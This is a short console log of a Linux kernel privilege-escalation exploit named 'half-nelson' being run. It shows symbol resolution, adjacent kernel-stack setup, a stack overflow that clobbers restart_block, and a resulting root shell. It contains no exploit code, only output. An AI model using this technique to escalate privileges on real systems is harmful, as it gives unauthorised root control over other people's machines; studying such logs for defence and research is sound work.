$ ./half-nelson
[+] looking for symbols...
[+] resolved symbol commit_creds to 0xffffffff81088ad0
[+] resolved symbol prepare_kernel_cred to 0xffffffff81088eb0
[+] resolved symbol ia32_sysret to 0xffffffff81046692
[+] spawning children to achieve adjacent kstacks...
[+] found parent kstack at 0xffff88001c6ca000
[+] found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000
[+] lower child spawning a helper...
[+] lower child calling compat_sys_wait4 on helper...
[+] helper going to sleep...
[+] upper child triggering stack overflow...
[+] helper woke up
[+] lower child returned from compat_sys_wait4
[+] parent's restart_block has been clobbered
[+] escalating privileges...
[+] launching root shell!
# id
uid=0(root) gid=0(root)